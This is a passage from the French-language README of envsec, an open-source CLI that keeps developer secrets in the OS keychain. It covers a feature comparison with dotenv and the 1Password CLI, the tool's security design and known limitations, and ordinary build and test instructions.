| Chiffrement au repos | Délégué à l'OS (Keychain, GNOME Keyring, DPAPI) | Aucun (dotenv) / ECIES par fichier (dotenvx) | AES-256 dans le cloud 1Password |
| Secrets sur disque | Jamais — les valeurs vont directement au magasin d'identifiants de l'OS | Toujours — les fichiers `.env` sont en clair par défaut | Jamais localement (récupérés à l'exécution depuis le cloud) |
| Accès hors ligne | Complet — les secrets sont locaux dans le magasin de l'OS | Complet — les fichiers sont locaux | Nécessite un réseau (éléments en cache disponibles hors ligne dans l'application) |
| Compte / abonnement | Aucun — gratuit, open source, sans inscription | Gratuit (dotenv) / open source gratuit (dotenvx) | Abonnement payant (à partir de ~3 $/mois individuel, ~8 $/utilisateur/mois entreprise) |
| Multi-plateforme | macOS, Linux, Windows | Toute plateforme avec Node.js / tout runtime (dotenvx) | macOS, Linux, Windows |
| Organisation par contexte / environnement | Contextes (ex. `myapp.dev`, `stripe.prod`) | Fichiers `.env` séparés par environnement | Coffres et éléments |
| Exécuter des commandes avec des secrets | `envsec run` — interpolation de placeholders + variables d'environnement `--inject` | `dotenvx run -- cmd` — injecte depuis `.env` chiffré | `op run -- cmd` — injecte via des références de secrets |
| Export vers fichier `.env` | `envsec env-file` (suivi pour audit) | Format natif — les fichiers `.env` sont la source de vérité | `op inject --out-file` |
| Import depuis fichier `.env` | `envsec load` (avec détection de conflits) | N/A — `.env` est le stockage principal | Création manuelle d'éléments |
| Export des variables d'environnement shell | `eval $(envsec env)` — bash, zsh, fish, powershell | `dotenvx run` ou `node -r dotenv/config` | `op run --env-file` |
| Session shell interactive | `envsec shell` — sous-shell délimité avec nettoyage automatique | Non intégré | Non intégré |
| Recherche de secrets | Modèles glob sur les clés et contextes | Non intégré | Filtrage `op item list --tags/--category` |
| Audit d'expiration / rotation | `envsec audit` — secrets expirés, expirant, fichiers `.env` suivis | Non intégré | Watchtower (dans l'application, pas en CLI) |
| Commandes enregistrées | `envsec cmd` — enregistrer, lister, rechercher, exécuter, supprimer | Non intégré | Non intégré |
| Déplacer / copier des secrets | `envsec move` et `envsec copy` entre contextes | Copie manuelle de fichiers | `op item move` entre coffres |
| Renommer des secrets | `envsec rename` (préserve la valeur et les métadonnées) | Modification manuelle du fichier `.env` | `op item edit` |
| Partage chiffré GPG | `envsec share --encrypt-to` | Fichiers `.env` chiffrés commités dans git (dotenvx) | Partage de coffre intégré, provisionnement d'équipe |
| TUI interactif | `envsec tui` — interface terminal plein écran | Non intégré | Non intégré |
| Diagnostics de santé | `envsec doctor` — vérifie la plateforme, le keychain, l'intégrité de la base de données | Non intégré | Non intégré |
| Complétions shell | Dynamiques (contextes, clés, commandes) pour bash, zsh, fish | Non intégré | Complétions statiques pour bash, zsh, fish, powershell |
| SDK / accès programmatique | `@envsec/sdk` pour Node.js / Bun | `require('dotenv').config()` — cas d'usage principal | SDK 1Password (Node.js, Python, Go, etc.) |
| Équipe / multi-utilisateurs | Partage GPG (manuel) | Partage basé sur Git avec `.env` chiffré (dotenvx) | Gestion d'équipe intégrée, RBAC, journaux d'audit |
<!-- | Intégration CI/CD | CLI standard — fonctionne partout où Node.js s'exécute | `dotenvx run` dans toute pipeline CI | Comptes de service, intégrations CI/CD natives | -->
| Authentification biométrique | Hérite des biométries de l'OS (ex. déverrouillage du Keychain macOS) | Aucune | Empreinte digitale / Touch ID via intégration applicative |
| Suivi des métadonnées | SQLite (noms de clés, horodatages — jamais les valeurs) | Aucun | Historique des éléments et journaux d'audit basés sur le cloud |

En bref : dotenv est l'approche la plus simple (fichiers sur disque), la CLI 1Password est la plus riche en fonctionnalités pour les équipes avec synchronisation cloud et RBAC, et envsec se situe entre les deux — offrant un chiffrement natif de l'OS avec zéro compte, zéro dépendance cloud, et un flux de travail orienté développeur qui va au-delà de ce que les fichiers `.env` peuvent faire.

## Comment ça fonctionne

Les secrets sont stockés dans le magasin d'identifiants natif de l'OS. Le backend est sélectionné automatiquement en fonction de la plateforme :

| OS      | Backend                        | Outil / API                          |
|---------|--------------------------------|-------------------------------------|
| macOS   | Keychain                       | CLI `security`                      |
| Linux   | API Secret Service (D-Bus)     | `secret-tool` (libsecret)           |
| Windows | Credential Manager             | `cmdkey` + PowerShell (advapi32)    |

Les métadonnées (noms de clés, horodatages) sont conservées dans une base de données SQLite à `~/.envsec/store.sqlite` (configurable via `--db` ou `ENVSEC_DB`). Les clés doivent contenir au moins un séparateur point (ex. `service.account`) qui correspond à la structure service/compte du magasin d'identifiants.

## Sécurité

envsec est construit autour d'un principe simple : vos secrets appartiennent à votre OS, pas à vos dotfiles. Chaque décision de conception part de cette base.

### Comment envsec protège vos secrets

**Chiffrement natif de l'OS, zéro crypto personnalisée.** Les valeurs secrètes sont stockées directement dans le Keychain macOS, le GNOME Keyring / KDE Wallet, ou le Windows Credential Manager. envsec n'invente jamais son propre chiffrement — il délègue aux magasins d'identifiants éprouvés que votre système d'exploitation fournit déjà, protégés par votre session utilisateur et (sur macOS) le keychain de connexion.

**Support Unicode complet.** Les valeurs secrètes peuvent contenir n'importe quels caractères Unicode, y compris des emojis et des lettres accentuées. Les valeurs sont encodées en base64 avant d'être stockées dans le magasin d'identifiants de l'OS, évitant les particularités d'encodage spécifiques à la plateforme (ex. la CLI `security` de macOS qui encode la sortie non-ASCII en hexadécimal). Les secrets en clair hérités sont lus de manière transparente pour la rétrocompatibilité.

**Les secrets ne touchent jamais le disque en clair.** Les valeurs vont directement de votre terminal au magasin d'identifiants de l'OS. Elles ne sont jamais écrites dans des fichiers de configuration, des journaux ou un stockage intermédiaire.

**Aucun secret dans la sortie du terminal.** Les commandes `list` et `search` affichent uniquement les noms de clés — les valeurs ne sont jamais imprimées. Cela garde les secrets hors des tampons de défilement, des enregistrements d'écran et de la portée des regards indiscrets.

**Exécution de commandes sûre.** La commande `run` injecte les secrets comme variables d'environnement du processus enfant plutôt que de les interpoler dans la chaîne de commande. Cela signifie que les valeurs secrètes n'apparaissent pas dans la sortie `ps` ni dans l'historique du shell. Si un secret référencé est manquant, la commande est entièrement bloquée — aucune exécution partielle avec des identifiants incomplets.

**Validation des entrées et prévention des injections.** Les noms de contextes sont validés contre une liste blanche stricte (alphanumériques, points, tirets, underscores) avec des vérifications de traversée de chemin et de pollution du prototype. Toutes les requêtes SQLite utilisent des instructions préparées avec des paramètres liés, empêchant l'injection SQL. Les arguments PowerShell sur Windows sont échappés pour se prémunir contre l'injection de commandes.

**Permissions de fichiers restrictives.** Le répertoire de métadonnées (`~/.envsec/`) est créé avec les permissions `0700` et la base de données SQLite avec `0600`, limitant l'accès à l'utilisateur propriétaire.

### Limitations connues et axes d'amélioration

Nous croyons à la transparence sur ce qu'envsec ne couvre pas encore. Ce sont de véritables compromis, pas des bugs — et les comprendre vous aide à prendre des décisions éclairées.

**Les métadonnées sont visibles.** La base de données SQLite à `~/.envsec/store.sqlite` stocke les noms de clés, les noms de contextes et les horodatages — jamais les valeurs secrètes, mais assez pour révéler *quels* secrets existent. Les modèles de commandes enregistrées (avec des placeholders `{key}`) y sont également stockés. Si la confidentialité des métadonnées compte pour vous, assurez-vous que votre répertoire personnel se trouve sur un volume chiffré.

**Les exports `env-file` sont en clair.** La commande `env-file` écrit les valeurs secrètes dans un fichier `.env` sur disque. C'est intrinsèquement sensible — traitez le fichier de sortie en conséquence et ne le commitez jamais dans le contrôle de version. Considérez-le comme un pont de commodité, pas comme un mécanisme de stockage.

**L'exécution shell comporte un risque inhérent.** La commande `run` passe votre modèle de commande via `/bin/sh` (ou `cmd.exe` sur Windows). Si le modèle lui-même provient d'une entrée non fiable, une injection shell est possible. N'exécutez que des modèles de commandes que vous avez écrits ou auxquels vous faites confiance.

**Aucun contrôle d'accès entre contextes.** Tout processus s'exécutant sous votre utilisateur OS peut lire tous les secrets de tous les contextes. envsec repose sur l'isolation utilisateur au niveau de l'OS — il n'ajoute pas sa propre couche d'autorisation entre les contextes.

**Environnements Linux sans interface graphique.** Sur Linux, envsec dépend d'une session D-Bus active et d'un démon de trousseau (ex. `gnome-keyring-daemon`). Dans les conteneurs ou les serveurs sans interface graphique sans session graphique, le trousseau peut être indisponible ou stocker les secrets avec une protection plus faible.

**Le chiffrement dépend de votre OS.** envsec n'ajoute aucun chiffrement au repos supplémentaire au-delà de ce que fournit le magasin d'identifiants natif. Sur les systèmes sans chiffrement de disque complet, un attaquant avec accès physique pourrait potentiellement extraire les secrets du keychain. Nous recommandons d'activer le chiffrement de disque complet (FileVault, LUKS, BitLocker) pour la protection la plus forte.

## Développement

### Prérequis

- Node.js >= 22
- pnpm

Les packages core, SDK, CLI et TUI utilisent Effect 4 et sont actuellement épinglés à
`4.0.0-rc.112`. Gardez les versions d'Effect et de `@effect/platform-node` alignées
dans tout l'espace de travail tant qu'Effect 4 reste en statut de version candidate.

### Configuration```bash
git clone https://github.com/davidnussio/envsec.git
cd envsec
pnpm install
pnpm run build
```
### Structure du projet```
packages/
  cli/     → envsec CLI (published as `envsec`)
  sdk/     → Node.js/Bun SDK (published as `@envsec/sdk`)
  core/    → Core engine, shared by CLI and SDK (published as `@envsec/core`)
  tui/     → Interactive terminal UI (published as `@envsec/tui`)
apps/
  website/ → Documentation website
```
### Commandes courantes```bash
# Build all packages
pnpm run build

# Lint and format check (all packages)
pnpm run check

# Auto-fix lint and formatting
pnpm run fix

# Run package unit and contract tests
pnpm run test:unit

# Run the CLI end-to-end suite with isolated database and credential fixtures
pnpm --filter envsec test

# Release (build + changeset publish)
pnpm run release
```
Le suite E2E isolée n'accède jamais au magasin d'identifiants natif. Pour exercer
le véritable adaptateur OS sur macOS ou Linux, compilez d'abord et optez explicitement :```bash
ENVSEC_E2E_CLI="$PWD/packages/cli/dist/main.js" \
  ENVSEC_E2E_ISOLATED=0 \
  pnpm --filter envsec test
```
Les tests E2E natifs utilisent des contextes dédiés `test.e2e*` et les suppriment ensuite.

### Exécution locale sans installation

Créez un alias temporaire pour utiliser la build locale comme si elle était installée globalement :```bash
# Bash / Zsh
alias envsec="node $(pwd)/packages/cli/dist/main.js"

# Fish
alias envsec "node (pwd)/packages/cli/dist/main.js"
```
### Tester les complétions shell localement

Après avoir construit et configuré l'alias, chargez les complétions dans votre session actuelle :```bash
# Bash
alias envsec="node $(pwd)/packages/cli/dist/main.js"
eval "$(envsec --completions bash)"

# Zsh
alias envsec="node $(pwd)/packages/cli/dist/main.js"
eval "$(envsec --completions zsh)"

# Fish
alias envsec "node (pwd)/packages/cli/dist/main.js"
envsec --completions fish | source
```
Ensuite, appuyez sur TAB après `envsec -c ` pour voir vos contextes, ou après `envsec -c myapp.dev get ` pour voir les clés secrètes.

### Exécution des tests

Les tests d'intégration de bout en bout couvrent l'ensemble du cycle de vie de la CLI (add, get, list, search, env-file, load, delete, run, cmd, audit, share, completions).```bash
# Build first
pnpm run build

# macOS / Linux
bash packages/cli/test/e2e-test.sh

# Windows (PowerShell)
pwsh packages/cli/test/e2e-test.ps1
```
CI s'exécute automatiquement lors des push/PR vers `main` via GitHub Actions, en exécutant `e2e-test.sh` sur macOS et Ubuntu, et `e2e-test.ps1` sur Windows.

## Licence

MIT

Catégories